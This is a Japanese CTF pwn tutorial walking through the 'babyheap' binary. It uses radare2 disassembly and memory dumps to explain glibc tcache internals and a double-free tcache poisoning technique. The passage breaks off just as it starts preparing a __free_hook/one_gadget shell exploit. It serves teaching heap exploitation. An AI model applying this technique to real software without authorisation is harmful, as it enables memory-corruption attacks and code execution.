バイナリアン入門 第五回(x64, Linux)
はじめに
babyheap
と言うバイナリのウォークスルーに近いが、one_gadget
を利用した攻撃手法としては、glibc-2.27
のダブルフリーのチェック不足を利用したTCache Poisoning
による攻撃が応用編として良さそうなので、これを扱ってみる。
セキュリティ機構を確認してみる
まずはお馴染み、バイナリのセキュリティ機構を確認する。
# checksec babyheap [*] '/sandbox/pwn/2_babyheap/babyheap' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
全て有効になっている。個々の意味については他サイトに譲る。
アセンブラを解読する
早速、babyheap
のバイナリを解析してみる。毎回お馴染みのRadare2を利用する。
# r2 -d babyheap
[0x00000870]> aaa [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Check for objc references [x] Check for vtables [x] Type matching analysis for all functions (aaft) [x] Propagate noreturn information [x] Use -AA or aaaa to perform additional experimental analysis. [0x00000870]> afl 0x00000870 1 42 entry0 0x000008a0 4 50 -> 40 sym.deregister_tm_clones 0x000008e0 4 66 -> 57 sym.register_tm_clones 0x00000930 5 58 -> 51 entry.fini0 0x00000970 1 10 entry.init0 0x00000a75 6 113 sym.getnline 0x00000a59 1 28 sym.menu 0x00000820 1 6 sym.imp.printf 0x00000ae6 3 74 sym.getint 0x00000850 1 6 sym.imp.atoi 0x000007f0 1 6 sym.imp.__stack_chk_fail 0x00000ba0 1 2 sym.__libc_csu_fini 0x00000ba4 1 9 sym._fini 0x0000097a 1 51 entry.init1 0x00000800 1 6 sym.imp.setbuf 0x00000b30 4 101 sym.__libc_csu_init 0x000009ad 12 172 main 0x000007a0 3 23 sym._init 0x000007d0 1 6 sym.imp.free 0x000007e0 1 6 sym.imp.puts 0x00000810 1 6 sym.imp.strchr 0x00000830 1 6 sym.imp.read 0x00000000 3 97 -> 123 loc.imp._ITM_deregisterTMCloneTable 0x00000840 1 6 sym.imp.malloc [0x00000870]> s main [0x000009ad]> pdf ; DATA XREF from entry0 @ 0x88d / 172: int main (int argc, char **argv, char **envp); | ; var uint32_t var_ch @ rbp-0xc | ; var void *ptr @ rbp-0x8 | 0x000009ad 55 push rbp | 0x000009ae 4889e5 mov rbp, rsp | 0x000009b1 4883ec10 sub rsp, 0x10 | 0x000009b5 488b05741620. mov rax, qword [obj.stdin] ; obj.stdin__GLIBC_2.2.5 | ; [0x202030:8]=0 | 0x000009bc 4889c6 mov rsi, rax | 0x000009bf 488d3df20100. lea rdi, str.Welcome_to_babyheap_challenge___Present_for_you___________p ; 0xbb8 ; "Welcome to babyheap challenge!\nPresent for you!!\n>>>>> %p <<<<<\n" ; const char *format | 0x000009c6 b800000000 mov eax, 0 | 0x000009cb e850feffff call sym.imp.printf ; int printf(const char *format) | ,=< 0x000009d0 eb72 jmp 0xa44 | | ; CODE XREF from main @ 0xa50 | .--> 0x000009d2 8b45f4 mov eax, dword [var_ch] | :| 0x000009d5 83f802 cmp eax, 2 | ,===< 0x000009d8 7453 je 0xa2d | |:| 0x000009da 83f803 cmp eax, 3 | ,====< 0x000009dd 745c je 0xa3b | ||:| 0x000009df 83f801 cmp eax, 1 | ,=====< 0x000009e2 7402 je 0x9e6 | ,======< 0x000009e4 eb5e jmp 0xa44 | ||||:| ; CODE XREF from main @ 0x9e2 | |`-----> 0x000009e6 48837df800 cmp qword [ptr], 0 | |,=====< 0x000009eb 740e je 0x9fb | ||||:| 0x000009ed 488d3d050200. lea rdi, str.No_Space ; 0xbf9 ; "No Space!!" ; const char *s | ||||:| 0x000009f4 e8e7fdffff call sym.imp.puts ; int puts(const char *s) | ,=======< 0x000009f9 eb49 jmp 0xa44 | |||||:| ; CODE XREF from main @ 0x9eb | ||`-----> 0x000009fb bf30000000 mov edi, 0x30 ; '0' ; size_t size | || ||:| 0x00000a00 e83bfeffff call sym.imp.malloc ; void *malloc(size_t size) | || ||:| 0x00000a05 488945f8 mov qword [ptr], rax | || ||:| 0x00000a09 488d3df40100. lea rdi, str.Input_Content: ; 0xc04 ; "Input Content: " ; const char *format | || ||:| 0x00000a10 b800000000 mov eax, 0 | || ||:| 0x00000a15 e806feffff call sym.imp.printf ; int printf(const char *format) | || ||:| 0x00000a1a 488b45f8 mov rax, qword [ptr] | || ||:| 0x00000a1e be30000000 mov esi, 0x30 ; '0' | || ||:| 0x00000a23 4889c7 mov rdi, rax | || ||:| 0x00000a26 e84a000000 call sym.getnline | ||,=====< 0x00000a2b eb17 jmp 0xa44 | |||||:| ; CODE XREF from main @ 0x9d8 | ||||`---> 0x00000a2d 488b45f8 mov rax, qword [ptr] | |||| :| 0x00000a31 4889c7 mov rdi, rax ; void *ptr | |||| :| 0x00000a34 e897fdffff call sym.imp.free ; void free(void *ptr) | ||||,===< 0x00000a39 eb09 jmp 0xa44 | |||||:| ; CODE XREF from main @ 0x9dd | |||`----> 0x00000a3b 48c745f80000. mov qword [ptr], 0 | ||| |:| 0x00000a43 90 nop | ||| |:| ; CODE XREFS from main @ 0x9d0, 0x9e4, 0x9f9, 0xa2b, 0xa39 | ```-`-`-> 0x00000a44 e810000000 call sym.menu | : 0x00000a49 8945f4 mov dword [var_ch], eax | : 0x00000a4c 837df400 cmp dword [var_ch], 0 | `==< 0x00000a50 7580 jne 0x9d2 | 0x00000a52 b800000000 mov eax, 0 | 0x00000a57 c9 leave \ 0x00000a58 c3 ret
コード自体は短いが分岐が多い。それぞれブロック毎に解析してみる。
Function prologue
お決まりの関数の最初で実行する命令。
関数内でスタックを扱う際の基準となるアドレスをスタックのトップのアドレスと同じにする。
push rbp mov rbp, rsp
関数内で利用するスタックを16バイト確保する。
sub rsp, 0x10
Welcomeメッセージ表示
glibcのstdin
関数のアドレスをrax
に格納する。
mov rax, qword [obj.stdin] ; obj.stdin__GLIBC_2.2.5
Welcomeメッセージとstdin
関数のアドレスを出力する。
第一引数となるrdi
には、フォーマットとなる文字列のアドレスを格納。
第二引数となるesi
には、rax
に格納されているstdin
関数のアドレスを格納。
mov eax, 0
命令に関しては、ベクトルレジスタ(浮動小数点)を必要とする場合にその数を設定する必要があるが、今回は整数型なので0を設定している(詳細は以前の記事を参照)
mov rsi, rax lea rdi, str.Welcome_to_babyheap_challenge___Present_for_you___________p ; 0xbb8 ; "Welcome to babyheap challenge!\nPresent for you!!\n>>>>> %p <<<<<\n" ; const char *format mov eax, 0 call sym.imp.printf ; int printf(const char *format)
この命令が実行されると以下のメッセージが標準出力に表示される。
stdin
関数のアドレスもリークしており、後程glibcのベースアドレスを求める際に利用する(ASLRにより実行時にアドレスが決まるため)
Welcome to babyheap challenge! Present for you!! >>>>> 0x7f87e2532a00 <<<<< hit breakpoint at: 562bd86a2a44
メニュー表示
次の命令ではjmp
命令で0xa44
に移動しsym.menu
をcallしている。
sym.menu
の中身は割愛しているが、標準出力にメニューの選択画面を表示している。
jmp 0xa44 ...(省略) call sym.menu
sys.menu
を実行すると以下の内容が標準出力に表示される。
MENU 1. Alloc 2. Delete 3. Wipe 0. Exit >
メニュー画面で0-3の値を入力するとvar_ch(rbp-0xc)
に格納され、値が0
の場合は処理を終了し、それ以外の場合は0x9d2
に移動する。
mov dword [var_ch], eax cmp dword [var_ch], 0 jne 0x9d2 mov eax, 0 leave ret
分岐
0x9d2
に移動したあとは、入力された値に応じたアドレスに移動する。
2
のDelete
だったら0xa2d
アドレスへ。
3
のWipe
だったら0xa3b
アドレスへ。
1
のAlloc
だったら0x9e6
アドレスへ。
それ以外ならsym.menu
へ移動する。
mov eax, dword [var_ch] cmp eax, 2 je 0xa2d cmp eax, 3 je 0xa3b cmp eax, 1 je 0x9e6 jmp 0xa44
1.Allocの処理
Alloc(1)
が入力された場合、最初にptr(rbp-0x8)
の値が0
であるかを確認する。
0
の場合は0x9fb
に移動し、違う場合はputs
で標準出力にメッセージを表示する。
cmp qword [ptr], 0 je 0x9fb lea rdi, str.No_Space ; 0xbf9 ; "No Space!!" ; const char *s call sym.imp.puts ; int puts(const char *s) jmp 0xa44
0x9fb
からの命令では、malloc
をcallしてヒープ領域に確保しているプールからチャンクを確保する。
第一引数となるedi
に、確保するサイズ48
バイトを指定してmalloc
をcallすると、rax
には確保したチャンクのアドレスが返ってくるので、ptr(rbp-0x8)
にアドレスを格納する。
mov edi, 0x30 ; '0' ; size_t size call sym.imp.malloc ; void *malloc(size_t size) mov qword [ptr], rax
その後、確保したチャンクに格納する文字列の入力を促すメッセージを表示する。
lea rdi, str.Input_Content: ; 0xc04 ; "Input Content: " ; const char *format mov eax, 0 call sym.imp.printf ; int printf(const char *format)
最後にgetnline
をcallして文字列の入力をさせる。
第一引数となるrdi
にはチャンクのアドレスを指定し、第二引数となるesi
にはサイズ48
を指定する。
getline man:https://linuxjm.osdn.jp/html/LDP_man-pages/man3/getline.3.html
終わったらメニューに移動する。
mov rax, qword [ptr] mov esi, 0x30 ; '0' mov rdi, rax call sym.getnline jmp 0xa44
2.Deleteの処理
Delete(2)
が入力された場合、mallocで確保した領域をfreeで解放する。
第一引数となるrdi
にチャンクのアドレスptr(rbp-0x8)
を格納してfree
をcall
終わったらメニューに移動する。
ここで気にしときたいのは、コード的には同じチャンクアドレスに対して何回でもDelete
を実行することが可能。
mov rax, qword [ptr] mov rdi, rax ; void *ptr call sym.imp.free ; void free(void *ptr) jmp 0xa44
3.Wipeの処理
Wipe(3)
が入力された場合、mallocで確保したチャンクのアドレスを消去(0
)する。
終わったらnop
命令を実行後メニューに移動する。
mov qword [ptr], 0 nop
以上で、アセンブラの解読は完了。
malloc/freeの基礎知識
ヒープ問題攻略の前に、そもそもmalloc
とfree
を実行した際にどのような挙動をするのかを理解する必要があるため、基礎の基礎を身に付けとく。
malloc
は、sbrk
システムコールにより拡張されたヒープ領域のプールから、チャンクという単位で領域を確保する。
free
は、確保したチャンクを解放して再利用できるようにしているが、libc-2.26
以降ではtcache
というキャッシュに繋げてメモリ確保時の高速化を図っている(libc-2.26
より前はfastbin
というキャッシュで管理)
正直ここら辺の理解はふんわりなので、以下のサイトなどで改めて理解を深める必要がありそう。
座学は上で深めるとして、実際のメモリを見ながら解放されるチャンクが内部でどのように管理されているかを確認してみる。
a = malloc(4); b = malloc(4); free(a); free(b);
上記サンプルコードをアセンブラにしたものがこれ。
# r2 -d a.out Process with PID 114 started... = attach 114 114 bin.baddr 0x56132ba4b000 Using 0x56132ba4b000 asm.bits 64 Warning: r_bin_file_hash: file exceeds bin.hashlimit -- Sharing your latest session to Facebook ... [0x7effe9fef090]> aaa [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Check for objc references [x] Check for vtables [TOFIX: aaft can't run in debugger mode.ions (aaft) [x] Type matching analysis for all functions (aaft) [x] Propagate noreturn information [x] Use -AA or aaaa to perform additional experimental analysis. [0x7effe9fef090]> s main [0x56132ba4b68a]> pdf ; DATA XREF from entry0 @ 0x56132ba4b59d / 67: int main (int argc, char **argv, char **envp); | ; var int64_t var_10h @ rbp-0x10 | ; var int64_t var_8h @ rbp-0x8 | 0x56132ba4b68a 55 push rbp | 0x56132ba4b68b 4889e5 mov rbp, rsp | 0x56132ba4b68e 4883ec10 sub rsp, 0x10 | 0x56132ba4b692 bf04000000 mov edi, 4 | 0x56132ba4b697 e8c4feffff call sym.imp.malloc ; void *malloc(size_t size) | 0x56132ba4b69c 488945f0 mov qword [var_10h], rax | 0x56132ba4b6a0 bf04000000 mov edi, 4 | 0x56132ba4b6a5 e8b6feffff call sym.imp.malloc ; void *malloc(size_t size) | 0x56132ba4b6aa 488945f8 mov qword [var_8h], rax | 0x56132ba4b6ae 488b45f0 mov rax, qword [var_10h] | 0x56132ba4b6b2 4889c7 mov rdi, rax | 0x56132ba4b6b5 e896feffff call sym.imp.free ; void free(void *ptr) | 0x56132ba4b6ba 488b45f8 mov rax, qword [var_8h] | 0x56132ba4b6be 4889c7 mov rdi, rax | 0x56132ba4b6c1 e88afeffff call sym.imp.free ; void free(void *ptr) | 0x56132ba4b6c6 b800000000 mov eax, 0 | 0x56132ba4b6cb c9 leave \ 0x56132ba4b6cc c3 ret [0x56132ba4b68a]> db 0x56132ba4b69c [0x56132ba4b68a]> db 0x56132ba4b6aa [0x56132ba4b68a]> db 0x56132ba4b6ba [0x56132ba4b68a]> db 0x56132ba4b6c6
ブレークポイント毎にメモリを確認してみる。
[0x56132ba4b68a]> dc hit breakpoint at: 56132ba4b69c
0x56132ba4b697
のsym.imp.malloc
を実行すると、アドレス0x56132ca7e250
に32(0x20)
バイトのチャンクが確保された。
Top chunk
の右に表示されている0x56132ca7e000, brk_end: 0x56132ca9f000
は、sbrk
システムコールで拡張されたヒープ領域を表している。
[0x56132ba4b69c]> dmh Malloc chunk @ 0x56132ca7e250 [size: 0x20][allocated] Top chunk @ 0x56132ca7e270 - [brk_start: 0x56132ca7e000, brk_end: 0x56132ca9f000]
chunkの管理部であるmalloc_chunk
構造体(参考)を確認してみる。
size=32(0x20)
で、flagsはPREV_INUSE
が1
になっている。
flagsの意味は以下のようだが、Radare2で観察してきた結果、変化するところが見られ無かったこともあり理解不足。
- [N]ON_MAIN_ARENA
- IS_[M]APPED
- [P]REV_INUSE
[0x56132ba4b69c]> dmhc @0x56132ca7e250 struct malloc_chunk @ 0x56132ca7e250 { prev_size = 0x0, size = 0x20, flags: |N:0 |M:0 |P:1, fd = 0x0, bk = 0x0, } chunk data = 0x56132ca7e260 0x0000000000000000 0x0000000000000000 ................
二度目のmalloc後の挙動を確認する。
[0x56132ba4b69c]> dc hit breakpoint at: 56132ba4b6aa
最初と同様に0x56132ca7e270
に32
バイトのチャンクが確保された。
Top chunk
はチャンクを確保する度にbrk_end
に向けてズレており、Top chunk
が持っているsize
自体も減少している。
[0x56132ba4b6aa]> dmh Malloc chunk @ 0x56132ca7e250 [size: 0x20][allocated] Malloc chunk @ 0x56132ca7e270 [size: 0x20][allocated] Top chunk @ 0x56132ca7e290 - [brk_start: 0x56132ca7e000, brk_end: 0x56132ca9f000] [0x56132ba4b6aa]> dmhc @0x56132ca7e270 struct malloc_chunk @ 0x56132ca7e270 { prev_size = 0x0, size = 0x20, flags: |N:0 |M:0 |P:1, fd = 0x0, bk = 0x0, } chunk data = 0x56132ca7e280 0x0000000000000000 0x0000000000000000 ................
最初に確保したチャンクをfreeで解放してみる。
[0x56132ba4b6aa]> dc hit breakpoint at: 56132ba4b6ba
0x56132ca7e250
のチャンク状態がfree
に変化した(補足:freeの時点でチャンク内の値は消える)
[0x56132ba4b6ba]> dmh Malloc chunk @ 0x56132ca7e250 [size: 0x20][free] Malloc chunk @ 0x56132ca7e270 [size: 0x20][allocated] Top chunk @ 0x56132ca7e290 - [brk_start: 0x56132ca7e000, brk_end: 0x56132ca9f000]
そしてTcache
には解放されたチャンク0x56132ca7e250
が連結された。
[0x56132ba4b6ba]> dmht Tcache main arena @ 0x7effe9fe8c40 bin : 0, items : 1, fd :0x56132ca7e250
ちなみに、Tcache
の先頭アドレスが何処で管理されているのか調べて見ると、sbrk
で拡張された領域の最初の方で管理されていた。
0x56132ca7e050
アドレスの60e2 a72c 1356 (56132c7a2e60:リトルエンディアン)
の部分。
[0x56132ba4b6ba]> x @0x56132ca7e000 - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x56132ca7e000 0000 0000 0000 0000 5102 0000 0000 0000 ........Q....... 0x56132ca7e010 0100 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e020 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e030 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e040 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e050 60e2 a72c 1356 0000 0000 0000 0000 0000 `..,.V.......... 0x56132ca7e060 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e070 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e080 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e090 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e0a0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e0b0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e0c0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e0d0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e0e0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e0f0 0000 0000 0000 0000 0000 0000 0000 0000 ................
二つ目のチャンクも解放する。
[0x56132ba4b6ba]> dc hit breakpoint at: 56132ba4b6c6
先程と同様に0x56132ca7e270
の状態がfree
になった。
[0x56132ba4b6c6]> dmh Malloc chunk @ 0x56132ca7e250 [size: 0x20][free] Malloc chunk @ 0x56132ca7e270 [size: 0x20][free] Top chunk @ 0x56132ca7e290 - [brk_start: 0x56132ca7e000, brk_end: 0x56132ca9f000]
Tcache
のフリーリストを見てみると0x56132ca7e270->0x56132ca7e250
のように繋がっており、先頭には今回解放したチャンクが連結された。
[0x56132ba4b6c6]> dmht Tcache main arena @ 0x7effe9fe8c40 bin : 0, items : 2, fd :0x56132ca7e270->0x56132ca7e250
チャンクの中身を確認すると、Tcache
の先頭に繋がったチャンクのfd
には、次のフリーチャンクのアドレスが格納されていた。
最後のフリーチャンクのfd
はヌル。
[0x56132ba4b6c6]> dmhc @0x56132ca7e270 struct malloc_chunk @ 0x56132ca7e270 { prev_size = 0x0, size = 0x20, flags: |N:0 |M:0 |P:1, fd = 0x56132ca7e260, bk = 0x0, } chunk data = 0x56132ca7e280 0x000056132ca7e260 0x0000000000000000 `..,.V.......... [0x56132ba4b6c6]> dmhc @0x56132ca7e250 struct malloc_chunk @ 0x56132ca7e250 { prev_size = 0x0, size = 0x20, flags: |N:0 |M:0 |P:1, fd = 0x0, bk = 0x0, } chunk data = 0x56132ca7e260 0x0000000000000000 0x0000000000000000 ................
同様にTcache
の先頭アドレスも更新される。
[0x56132ba4b6c6]> x @0x56132ca7e000 - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x56132ca7e000 0000 0000 0000 0000 5102 0000 0000 0000 ........Q....... 0x56132ca7e010 0200 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e020 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e030 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e040 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e050 80e2 a72c 1356 0000 0000 0000 0000 0000 ...,.V.......... 0x56132ca7e060 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e070 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e080 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e090 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e0a0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e0b0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e0c0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e0d0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e0e0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e0f0 0000 0000 0000 0000 0000 0000 0000 0000 ................
というように、Radare2で実際にメモリを覗いてみるとより理解が深まる(気がする)
TCache Poisoning
とは?
TCache Poisoning
を一言で表すのは難しいが、循環参照により無限にループするlinked listを故意に発生させ、任意のアドレスをTcache
のフリーリストに連結させるような攻撃方法のこと。
tcache_attack-zhが詳しい。
検証
ここまでで、malloc/freeの基礎は理解できたので、ダブルフリーによるTCache Poisoning
では、Tcache
がどのように汚染されていくのかをRadare2で覗きながら理解してみる。
最初はmallocでチャンクを確保する。
[0x555deead1a44]> dmh Malloc chunk @ 0x555def88c250 [size: 0x40][allocated] Top chunk @ 0x555def88c290 - [brk_start: 0x555def88c000, brk_end: 0x555def8ad000]
確保したチャンクにはtest
を詰めている。
[0x555deead1a44]> dmhc @0x555def88c250 struct malloc_chunk @ 0x555def88c250 { prev_size = 0x0, size = 0x40, flags: |N:0 |M:0 |P:1, fd = 0x74736574, bk = 0x0, } chunk data = 0x555def88c260 0x0000000074736574 0x0000000000000000 test............ 0x555def88c270 0x0000000000000000 0x0000000000000000 ................ 0x555def88c280 0x0000000000000000 0x0000000000000000 ................
確保したチャンクをfreeで解放すると、チャンクの状態はfree
に変わり中身が無くなる。
[0x555deead1a44]> dmh Malloc chunk @ 0x555def88c250 [size: 0x40][free] Top chunk @ 0x555def88c290 - [brk_start: 0x555def88c000, brk_end: 0x555def8ad000] [0x555deead1a44]> dmhc @0x555def88c250 struct malloc_chunk @ 0x555def88c250 { prev_size = 0x0, size = 0x40, flags: |N:0 |M:0 |P:1, fd = 0x0, bk = 0x0, } chunk data = 0x555def88c260 0x0000000000000000 0x0000000000000000 ................ 0x555def88c270 0x0000000000000000 0x0000000000000000 ................ 0x555def88c280 0x0000000000000000 0x0000000000000000 ................
そしてTcache
には解放したチャンクが連結される。
[0x555deead1a44]> dmht Tcache main arena @ 0x7f9469476c40 bin : 2, items : 1, fd :0x555def88c250
解放しているチャンクは一つなので、Tcache
の先頭アドレスは0x555def88c250
となっている。
[0x555deead1a44]> x @0x555def88c000 - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x555def88c000 0000 0000 0000 0000 5102 0000 0000 0000 ........Q....... 0x555def88c010 0000 0100 0000 0000 0000 0000 0000 0000 ................ 0x555def88c020 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c030 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c040 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c050 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c060 60c2 88ef 5d55 0000 0000 0000 0000 0000 `...]U.......... 0x555def88c070 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c080 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c090 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0a0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0b0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0c0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0d0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0e0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0f0 0000 0000 0000 0000 0000 0000 0000 0000 ................
次に、先程解放したチャンク0x555def88c250
を再度freeする。
[0x555deead1a44]> dmh Malloc chunk @ 0x555def88c250 [size: 0x40][free] Top chunk @ 0x555def88c290 - [brk_start: 0x555def88c000, brk_end: 0x555def8ad000]
すると、Tcache
には同じチャンクのアドレス0x555def88c250
が二つ連結される。
[0x555deead1a44]> dmht Tcache main arena @ 0x7f9469476c40 bin : 2, items : 2, fd :0x555def88c250->0x555def88c250
0x555def88c250
のmalloc_chunk
を確認すると、fd
には次のチャンクを指す0x555def88c260(自分自身)
が格納されている。
これは、二度目のfreeのタイミングで、Tcache
の先頭につなげるチャンクのfd
には以前先頭だったチャンクのアドレス0x555def88c260
を格納するため、自分自身のチャンクの次は自分自身・・・と循環参照が出来上がっている。
[0x555deead1a44]> dmhc @0x555def88c250 struct malloc_chunk @ 0x555def88c250 { prev_size = 0x0, size = 0x40, flags: |N:0 |M:0 |P:1, fd = 0x555def88c260, bk = 0x0, } chunk data = 0x555def88c260 0x0000555def88c260 0x0000000000000000 `...]U.......... 0x555def88c270 0x0000000000000000 0x0000000000000000 ................ 0x555def88c280 0x0000000000000000 0x0000000000000000 ................
循環参照になったが、Tcache
の先頭アドレスは特に変わらない。
[0x555deead1a44]> x @0x555def88c000 - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x555def88c000 0000 0000 0000 0000 5102 0000 0000 0000 ........Q....... 0x555def88c010 0000 0200 0000 0000 0000 0000 0000 0000 ................ 0x555def88c020 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c030 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c040 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c050 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c060 60c2 88ef 5d55 0000 0000 0000 0000 0000 `...]U.......... 0x555def88c070 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c080 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c090 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0a0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0b0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0c0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0d0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0e0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0f0 0000 0000 0000 0000 0000 0000 0000 0000 ................
Tcache
が循環参照になっている状態でmallocするとTcache
から0x555def88c250
のチャンクが一つ取り出される。
[0x555deead1a44]> dmht Tcache main arena @ 0x7f9469476c40 bin : 2, items : 1, fd :0x555def88c250
取り出されたチャンクに文字列write
(本来は任意のアドレス)を書き込むと、今尚Tcache
に繋がっている0x555def88c250
のfd
にも同じ値が格納される。同じアドレスを共有してるので当然の結果ではあるが。
んで、これがどのような結果を産むかと言うと、この状態になることでTcache
は0x555def88c250 -> write(本来は任意のアドレス)
と言うフリーリストに汚染される事になる。
[0x555deead1a44]> dmhc @0x555def88c250 struct malloc_chunk @ 0x555def88c250 { prev_size = 0x0, size = 0x40, flags: |N:0 |M:0 |P:1, fd = 0x6574697277, bk = 0x0, } chunk data = 0x555def88c260 0x0000006574697277 0x0000000000000000 write........... 0x555def88c270 0x0000000000000000 0x0000000000000000 ................ 0x555def88c280 0x0000000000000000 0x0000000000000000 ................ [0x555deead1a44]> x @0x555def88c000 - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x555def88c000 0000 0000 0000 0000 5102 0000 0000 0000 ........Q....... 0x555def88c010 0000 0100 0000 0000 0000 0000 0000 0000 ................ 0x555def88c020 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c030 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c040 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c050 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c060 60c2 88ef 5d55 0000 0000 0000 0000 0000 `...]U.......... 0x555def88c070 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c080 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c090 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0a0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0b0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0c0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0d0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0e0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0f0 0000 0000 0000 0000 0000 0000 0000 0000 ................
補足:dmh
で確認するチャンクリストは状態が狂ってそう。
[0x555deead1a44]> dmh Malloc chunk @ 0x555def88c250 [size: 0x40][free] Top chunk @ 0x555def88c290 - [brk_start: 0x555def88c000, brk_end: 0x555def8ad000]
最後に、もう一度mallocするとTcache
に繋がっている0x555def88c250
が取り出される(dmht
だとTcache
は空っぽに見える)
[0x555deead1a44]> dmht Tcache main arena @ 0x7f9469476c40
取り出された時に、Tcache
の先頭には0x555def88c250
のfd
で指している次のアドレスを格納するため、Tcache
の先頭アドレスはwrite(本来は任意のアドレス)
が格納されることになる。
[0x555deead1a44]> x @0x555def88c000 - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x555def88c000 0000 0000 0000 0000 5102 0000 0000 0000 ........Q....... 0x555def88c010 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c020 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c030 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c040 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c050 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c060 7772 6974 6500 0000 0000 0000 0000 0000 write........... 0x555def88c070 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c080 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c090 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0a0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0b0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0c0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0d0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0e0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0f0 0000 0000 0000 0000 0000 0000 0000 0000 ................
以上の手順でTcache
の汚染ができたため、次にmallocした時は 任意のアドレス が取得できることになる。
エクスプロイトコード作成の準備
TCache Poisoning
の手順はここまでの確認で理解できたので、babyheap
のセキュリティ機構との兼ね合いから、シェルを奪取するために他に必要な情報を準備する。今回はASLR
が有効になっているため、スタックやヒープ、共有ライブラリなどをメモリに配置するときにアドレスの一部はランダム化される。
そこで、今回は__free_hook
を使いone_gadget
